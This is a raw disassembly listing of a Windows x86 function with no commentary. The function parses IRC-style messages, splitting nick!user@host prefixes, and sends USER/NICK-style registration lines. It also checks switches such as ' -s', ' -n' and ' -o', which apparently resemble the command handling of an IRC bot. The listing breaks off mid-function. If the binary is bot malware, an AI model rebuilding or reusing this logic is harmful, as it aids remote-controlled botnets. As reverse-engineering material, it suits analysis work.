mov edx, [ebp+18h]
lea ecx, [esp+24h+arg_1C]
push 10h
push ecx
push edx
mov [ebp+24h], eax
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
jnz short loc_410288
push 2710h
nop
call near ptr 2831CE8h
mov eax, [ebp+1Ch]
mov [ebp+15h], bl
inc eax
mov [ebp+1Ch], eax
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410288: ; CODE XREF: sub_410030+23Cj
mov byte ptr [ebp+15h], 1
mov [ebp+16h], bl
call edi
mov [ebp+24h], eax
xor eax, eax
mov [esp+30h+arg_0], eax
lea ecx, [esp+30h+arg_20]
mov [esp+30h+arg_4], eax
lea edx, [esp+30h+arg_0]
mov [esp+30h+arg_8], eax
push ecx
mov [esp+34h+arg_C], eax
mov eax, [ebp+18h]
push edx
push eax
mov [esp+3Ch+arg_20], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+3Ch+var_4+3]
mov edx, [esp+3Ch+var_4+2]
mov eax, [esp+3Ch+var_4+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+40h+var_4]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+4Ch+arg_408]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call near ptr word_5F67AE
add esp, 18h
lea eax, [esp+3Ch+arg_408]
lea ecx, [ebp+3Dh]
push eax
call sub_4015E1
lea ecx, [esp+3Ch+arg_408]
push ecx
nop
call near ptr 71AB2BF4h
push offset byte_448F40
mov ecx, offset byte_44936B
mov [ebp+52h], eax
call sub_4012EE
test eax, eax
jz short loc_410357
mov ecx, offset byte_44936B
call sub_4017EE
mov edx, dword_4490EC
push eax
push edx
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
loc_410357: ; CODE XREF: sub_410030+305j
mov ecx, offset byte_4E8E55
call sub_4017EE
push eax
mov ecx, offset byte_4E8E55
call sub_4017EE
push eax
mov eax, dword_4490F4
push eax
mov ecx, offset byte_4E8E55
call sub_4017EE
mov ecx, dword_4490F0
push eax
push ecx
push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n"
push ebp
call sub_401E24
add esp, 1Ch
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410398: ; CODE XREF: sub_410030+1DBj
mov ecx, 800h
xor eax, eax
lea edi, [esp+20h+arg_464]
push ebx
rep stosd
lea eax, [esp+24h+arg_464]
push 2000h
push eax
push edx
call sub_401280
add esp, 10h
cmp al, bl
jz loc_4113F0
nop
call near ptr 27E0CD2h
lea ecx, [esp+20h+var_8]
mov [ebp+24h], eax
call sub_401CD0
lea ecx, [esp+20h+arg_464]
push ecx
lea ecx, [esp+24h+var_8]
call sub_401A9B
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_364]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490F8
mov byte ptr [esp+20h+arg_246C], 1
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jnz short loc_410470
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_3F4]
push 4
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset dword_4493B4
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 2
call sub_401B86
test eax, eax
lea ecx, [esp+20h+arg_3F4]
mov byte ptr [esp+20h+arg_246C], 1
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_410474
loc_410470: ; CODE XREF: sub_410030+3EAj
mov [esp+20h+var_D], bl
loc_410474: ; CODE XREF: sub_410030+43Ej
lea ecx, [esp+20h+arg_364]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410496
mov byte ptr [ebp+16h], 1
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410496: ; CODE XREF: sub_410030+45Bj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_F4]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490CC
mov byte ptr [esp+20h+arg_246C], 3
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_F4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
push 1
jz short loc_410534
lea edx, [esp+28h+arg_2A4]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 4
call sub_4017EE
push eax
mov eax, dword_4490E8
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2A4]
jmp loc_410662
; ---------------------------------------------------------------------------
loc_410534: ; CODE XREF: sub_410030+4BAj
lea edx, [esp+28h+arg_124]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016B8
mov ecx, dword_4490D0
mov byte ptr [esp+20h+arg_246C], 5
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_124]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
jz loc_4106A0
lea edx, [esp+24h+arg_40C]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 6
call sub_4012EE
lea ecx, [esp+20h+arg_40C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_4113F7
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_154]
push 11h
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490E8
mov byte ptr [esp+20h+arg_246C], 7
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_154]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410667
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_2D4]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 8
call sub_4017EE
push eax
mov eax, dword_4490E8
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2D4]
loc_410662: ; CODE XREF: sub_410030+4FFj
call sub_401226
loc_410667: ; CODE XREF: sub_410030+5E6j
cmp [ebp+16h], bl
jnz loc_4113F7
mov ecx, offset byte_4493FD
call sub_4017EE
push eax
mov ecx, offset dword_4493B4
call sub_4017EE
mov ecx, dword_4490D4
push eax
push ecx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_4106A0: ; CODE XREF: sub_410030+550j
lea edx, [esp+24h+arg_394]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_449108
mov byte ptr [esp+20h+arg_246C], 9
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_410722
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_184]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_44910C
mov byte ptr [esp+20h+arg_246C], 0Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_184]
mov byte ptr [esp+20h+arg_246C], 9
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_410727
loc_410722: ; CODE XREF: sub_410030+69Bj
mov [esp+20h+var_D], 1
loc_410727: ; CODE XREF: sub_410030+6F0j
lea ecx, [esp+20h+arg_394]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410794
cmp [ebp+16h], bl
jnz short loc_410770
mov ecx, offset byte_4493FD
call sub_4017EE
push eax
mov ecx, offset dword_4493B4
call sub_4017EE
mov edx, dword_4490D4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
loc_410770: ; CODE XREF: sub_410030+713j
mov ecx, offset byte_4E8E55
call sub_4017EE
push eax
mov eax, dword_4490DC
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410794: ; CODE XREF: sub_410030+70Ej
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_1B4]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov edx, dword_4490E4
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_1B4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
jz short loc_410845
lea eax, [esp+24h+arg_94]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+24h+arg_94]
mov byte ptr [esp+24h+arg_246C], 0Ch
call sub_4014DD
push eax
call near ptr 77C47C60h
nop
add esp, 8
cmp eax, ebx
jz short loc_41082D
inc eax
lea ecx, [ebp+28h]
push eax
call sub_4015E1
loc_41082D: ; CODE XREF: sub_410030+7F1j
lea ecx, [esp+20h+arg_94]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410845: ; CODE XREF: sub_410030+7B7j
lea ecx, [esp+24h+arg_304]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov edx, dword_4490E0
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Dh
call sub_4012EE
test eax, eax
jnz short loc_410880
mov al, byte_449814
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_410884
loc_410880: ; CODE XREF: sub_410030+840j
mov [esp+20h+var_D], bl
loc_410884: ; CODE XREF: sub_410030+84Ej
lea ecx, [esp+20h+arg_304]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410B91
push offset asc_444C7C ; ":"
lea eax, [esp+24h+arg_4C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push 96h
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 0Fh
jz short loc_4108E2
mov ecx, eax
call sub_402072
loc_4108E2: ; CODE XREF: sub_410030+8A9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 10h
jz short loc_41090E
mov ecx, eax
call sub_4010BE
loc_41090E: ; CODE XREF: sub_410030+8D5j
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_4C]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_401AAF
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_7C]
push ebx
push ecx
lea ecx, [esp+2Ch+arg_4C]
xor edi, edi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jz loc_410B7C
loc_41096F: ; CODE XREF: sub_410030+B46j
push 96h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 12h
jz short loc_410997
mov ecx, eax
call sub_402072
mov esi, eax
jmp short loc_410999
; ---------------------------------------------------------------------------
loc_410997: ; CODE XREF: sub_410030+95Aj
xor esi, esi
loc_410999: ; CODE XREF: sub_410030+965j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 13h
jz short loc_4109CB
mov ecx, eax
call sub_4010BE
mov [esp+20h+var_C], eax
jmp short loc_4109CF
; ---------------------------------------------------------------------------
loc_4109CB: ; CODE XREF: sub_410030+98Cj
mov [esp+20h+var_C], ebx
loc_4109CF: ; CODE XREF: sub_410030+999j
push offset aS_2 ; " -s"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4013ED
test eax, eax
jz short loc_4109F2
mov byte ptr [esi+93h], 1
jmp short loc_4109F8
; ---------------------------------------------------------------------------
loc_4109F2: ; CODE XREF: sub_410030+9B7j
mov [esi+93h], bl
loc_4109F8: ; CODE XREF: sub_410030+9C0j
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410A13
mov byte ptr [esi+94h], 1
jmp short loc_410A19
; ---------------------------------------------------------------------------
loc_410A13: ; CODE XREF: sub_410030+9D8j
mov [esi+94h], bl
loc_410A19: ; CODE XREF: sub_410030+9E1j
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410A34
mov byte ptr [esi+95h], 1
jmp short loc_410A3A
; ---------------------------------------------------------------------------
loc_410A34: ; CODE XREF: sub_410030+9F9j
mov [esi+95h], bl
loc_410A3A: ; CODE XREF: sub_410030+A02j
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_1E4]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 14h
call sub_401FDC
lea ecx, [esp+20h+arg_1E4]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset byte_448F40
lea ecx, [esi+54h]
call sub_4015E1
push offset byte_448F40
lea ecx, [esi+3Fh]
call sub_4015E1
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_AC]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 15h
call sub_401FDC
lea ecx, [esp+20h+arg_AC]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_214]
push edi
push ecx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 16h
call sub_4017EE
push eax
mov ecx, esi
call sub_4015E1
lea ecx, [esp+20h+arg_214]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
mov ecx, [esp+20h+var_C]
push 1
push esi
call sub_401DFC
cmp esi, ebx
jz short loc_410B29
push 1
mov ecx, esi
call sub_4019E2
loc_410B29: ; CODE XREF: sub_410030+AEEj
mov ecx, [esp+20h+var_C]
call sub_4013DE
inc edi
push offset asc_4445EC ; "|"
lea edx, [esp+24h+arg_7C]
push edi
push edx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jnz loc_41096F
loc_410B7C: ; CODE XREF: sub_410030+939j
lea ecx, [esp+20h+arg_4C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410B91: ; CODE XREF: sub_410030+86Bj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_334]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490D8
mov byte ptr [esp+20h+arg_246C], 17h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_334]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410EAB
push 96h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 18h
jz short loc_410C0B
mov ecx, eax
call sub_402072
mov esi, eax
jmp short loc_410C0D
; ---------------------------------------------------------------------------
loc_410C0B: ; CODE XREF: sub_410030+BCEj
xor esi, esi
loc_410C0D: ; CODE XREF: sub_410030+BD9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], bl
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 19h
jz short loc_410C3C
mov ecx, eax
call sub_4010BE
mov edi, eax
jmp short loc_410C3E
; ---------------------------------------------------------------------------
loc_410C3C: ; CODE XREF: sub_410030+BFFj
xor edi, edi
loc_410C3E: ; CODE XREF: sub_410030+C0Aj
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], bl
call sub_4013ED
test eax, eax
jz short loc_410C60
mov byte ptr [esi+95h], 1
jmp short loc_410C66
; ---------------------------------------------------------------------------
loc_410C60: ; CODE XREF: sub_410030+C25j
mov [esi+95h], bl
loc_410C66: ; CODE XREF: sub_410030+C2Ej
push offset aS_2 ; " -s"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410C81
mov byte ptr [esi+93h], 1
jmp short loc_410C87
; ---------------------------------------------------------------------------
loc_410C81: ; CODE XREF: sub_410030+C46j
mov [esi+93h], bl
loc_410C87: ; CODE XREF: sub_410030+C4Fj
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410CA2
mov byte ptr [esi+94h], 1
jmp short loc_410CA8
; ---------------------------------------------------------------------------
loc_410CA2: ; CODE XREF: sub_410030+C67j
mov [esi+94h], bl
loc_410CA8: ; CODE XREF: sub_410030+C70j
push offset asc_444C7C ; ":"
lea edx, [esp+24h+arg_274]
push ebx
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_3C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Ah
call sub_4016B8
push offset asc_444C70 ; "!"
lea edx, [esp+24h+arg_244]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Bh
call sub_4016B8
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 1Ch
call sub_401FDC
lea ecx, [esp+20h+arg_244]
mov byte ptr [esp+20h+arg_246C], 1Bh
call sub_401226
lea ecx, [esp+20h+arg_3C4]
mov byte ptr [esp+20h+arg_246C], 1Ah
call sub_401226
lea ecx, [esp+20h+arg_274]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444C70 ; "!"
lea eax, [esp+24h+arg_DC]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+24h+arg_C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Dh
call sub_4016B8
push eax
lea ecx, [esi+54h]
mov byte ptr [esp+24h+arg_246C], 1Eh
call sub_401FDC
lea ecx, [esp+20h+arg_C4]
mov byte ptr [esp+20h+arg_246C], 1Dh
call sub_401226
lea ecx, [esp+20h+arg_DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset a@ ; "@"
lea edx, [esp+24h+arg_13C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_10C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Fh
call sub_4016B8
push eax
lea ecx, [esi+3Fh]
mov byte ptr [esp+24h+arg_246C], 20h
call sub_401FDC
mov byte ptr [esp+20h+arg_246C], 1Fh
lea ecx, [esp+20h+arg_10C]
call sub_401226
lea ecx, [esp+20h+arg_13C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_16C]
push 2
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 21h
call sub_401FDC
lea ecx, [esp+20h+arg_16C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444C6C ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_410E7D
add eax, 2
push eax
jmp short loc_410E82
; ---------------------------------------------------------------------------
loc_410E7D: ; CODE XREF: sub_410030+E45j
push offset byte_448F40
loc_410E82: ; CODE XREF: sub_410030+E4Bj
mov ecx, esi
call sub_4015E1
push ebx
push esi
mov ecx, edi
call sub_401DFC
cmp esi, ebx
jz short loc_410E9F
push 1
mov ecx, esi
call sub_4019E2
loc_410E9F: ; CODE XREF: sub_410030+E64j
mov ecx, edi
call sub_4013DE
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410EAB: ; CODE XREF: sub_410030+BADj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_19C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490FC
mov byte ptr [esp+20h+arg_246C], 22h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_19C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411080
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov edx, esp
mov [esp+38h+var_C], esp
push offset asc_444600 ; " "
push 3
push edx
call sub_4016B8
mov ecx, offset word_44AC6E
call sub_401CE4
cmp eax, ebx
jz short loc_410F72
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov eax, esp
mov [esp+38h+var_C], esp
push offset asc_444600 ; " "
push 3
push eax
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 23h
mov ecx, esp
mov [esp+50h+arg_C], esp
push offset asc_444600 ; " "
push 3
push ecx
lea ecx, [esp+5Ch+var_8]
call sub_4016B8
mov ecx, offset word_44AC6E
mov byte ptr [esp+50h+arg_246C], bl
call sub_40212B
loc_410F72: ; CODE XREF: sub_410030+EF3j
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_1CC]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset byte_4E8E55
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 24h
call sub_401B86
test eax, eax
lea ecx, [esp+20h+arg_1CC]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_4113F7
push offset asc_444C7C ; ":"
lea eax, [esp+24h+arg_22C]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444C70 ; "!"
lea ecx, [esp+24h+arg_1FC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 25h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 26h
call sub_4017EE
push eax
lea ecx, [esp+24h+arg_25C]
call sub_401870
lea ecx, [esp+20h+arg_1FC]
mov byte ptr [esp+20h+arg_246C], 29h
call sub_401226
lea ecx, [esp+20h+arg_22C]
mov byte ptr [esp+20h+arg_246C], 28h
call sub_401226
mov ecx, offset byte_4493FD
mov [ebp+16h], bl
call sub_4017EE
push eax
mov ecx, offset dword_4493B4
call sub_4017EE
mov edx, dword_4490D4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
lea ecx, [esp+20h+arg_25C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_411080: ; CODE XREF: sub_410030+EC7j
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_28C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490F0
mov byte ptr [esp+20h+arg_246C], 2Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_28C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411238
push offset asc_444C7C ; ":"
lea edx, [esp+24h+arg_2EC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444C70 ; "!"
lea ecx, [esp+24h+arg_2BC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 2Bh
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 2Ch
call sub_4017EE
push eax
lea ecx, [esp+24h+arg_34]
call sub_401870
lea ecx, [esp+20h+arg_2BC]
mov byte ptr [esp+20h+arg_246C], 2Fh
call sub_401226
lea ecx, [esp+20h+arg_2EC]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
push offset asc_444C6C ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
mov esi, dword_511B04
push eax
call esi
add esp, 8
test eax, eax
jz loc_411223
push offset asc_444C6C ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
push eax
call esi
add esp, 8
lea ecx, [esp+20h+arg_64]
push eax
call sub_401870
push offset byte_448F40
lea ecx, [esp+24h+arg_34]
mov byte ptr [esp+24h+arg_246C], 30h
call sub_4012EE
test eax, eax
jz short loc_41120F
push offset byte_448F40
lea ecx, [esp+24h+arg_64]
call sub_4012EE
test eax, eax
jz short loc_41120F
sub esp, 18h
lea edx, [esp+38h+arg_34]
mov ecx, esp
mov [esp+38h+arg_C], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC6E
call sub_401CE4
cmp eax, ebx
jz short loc_4111EB
lea ecx, [esp+20h+arg_64]
push ecx
lea ecx, [eax+19h]
call sub_401FDC
loc_4111EB: ; CODE XREF: sub_410030+11A9j
push offset byte_4E8E55
lea ecx, [esp+24h+arg_34]
call sub_401B86
test eax, eax
jnz short loc_41120F
lea edx, [esp+20h+arg_64]
mov ecx, offset byte_4E8E55
push edx
call sub_401FDC
loc_41120F: ; CODE XREF: sub_410030+1173j
; sub_410030+1188j ...
lea ecx, [esp+20h+arg_64]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
loc_411223: ; CODE XREF: sub_410030+1134j
lea ecx, [esp+20h+arg_34]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_411238: ; CODE XREF: sub_410030+109Cj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_34C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_449100
mov byte ptr [esp+20h+arg_246C], 31h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_4112BF
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_31C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_449110
mov byte ptr [esp+20h+arg_246C], 32h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_31C]
mov byte ptr [esp+20h+arg_246C], 31h
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_4112C4
loc_4112BF: ; CODE XREF: sub_410030+1238j
mov [esp+20h+var_D], 1
loc_4112C4: ; CODE XREF: sub_410030+128Dj
lea ecx, [esp+20h+arg_34C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_4113F7
push offset asc_444C7C ; ":"
lea edx, [esp+24h+arg_37C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 33h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_444C70 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
mov ecx, offset word_44AC6E
call sub_401CE4
lea ecx, [esp+20h+arg_37C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_4113F7
push offset asc_444C7C ; ":"
lea edx, [esp+24h+arg_3DC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 34h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_444C70 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
push offset asc_444C7C ; ":"
lea edx, [esp+3Ch+arg_3AC]
push 1
push edx
lea ecx, [esp+44h+var_8]
mov byte ptr [esp+44h+arg_246C], 35h
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 36h
mov ecx, esp
